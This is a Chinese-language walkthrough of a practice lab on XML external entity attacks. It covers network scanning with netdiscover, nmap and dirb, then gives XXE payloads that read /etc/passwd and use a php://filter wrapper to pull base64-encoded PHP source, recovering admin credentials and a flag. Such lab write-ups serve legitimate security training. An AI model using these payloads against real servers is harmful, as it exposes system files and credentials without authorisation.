XXE Lab渗透测试实战靶场
任务描述:信息收集。
1. 首先查看kali机器IP地址: 10.1.1.91
2. 使用netdiscover扫描本地网络主机:
# netdiscover -r 10.1.1.0/24
-r range:扫描给定范围而不是自动扫描。
3. 使用nmap扫描目标ip:
# nmap -sV -p 1-65535 10.1.1.93 -v
-sV:探测端口服务版本;
-p:指定端口;
-v:显示扫描过程。
4. 浏览器访问10.1.1.93机器的80端口:
发现为Apache默认页面,猜测可能存在隐藏目录。
5. 使用dirb扫描10.1.1.93机器目录:
# dirb http://10.1.1.93
发现存在robots.txt文件,此文件包含了互联网上的网页信息。
6. 浏览器访问http://10.1.1.93/robots.txt,查看robots.txt文件内容:
发现存在后台管理页面和xxe网站。
7. 访问http://10.1.1.93/xxe/(admin.php 404了)
开始漏洞利用:
1. 既然是XXE靶场,就按照XXE的思路来。利用file协议读取任意文件:
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><name>&xxe;</name><password>123</password></root>
在响应处直接显示了读取文件的内容,说明是有回显的XXE。
2. 尝试读取出现404的admin.php:
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&xxe;</name><password>123</password></root>
结果被base64加密了,可以放到burpsuite的【Decoder】模块进行解密:
拿去解密可以得出密码是[email protected]:
3. 使用用户名:administhebest,密码:[email protected]登录之前的xxe网站,出现提示错误
4. 可能不是这个网址的用户信息,尝试使用dirb扫描/xxe/目录:
# dirb http://10.1.1.93/xxe/
发现还存在一个/xxe/admin.php文件。
5. 尝试用刚才的信息登录/xxe/admin.php:
出现‘Here is the flag’,点击发现是个跳转:
6. 依然是404,再次利用之前的思路,修改payload中resource后的文件名即可:
7. 继续拿去base64解码:
又是一串base64编码,解码后可以看到flag在/etc/.flag.php文件中:
8. 利用file协议读取文件内容
得到一串无特征码的PHP webshell:
9. 将webshell保存到phpStudy的网站根目录下,开启phpStudy,浏览器访问webshell即可得到flag: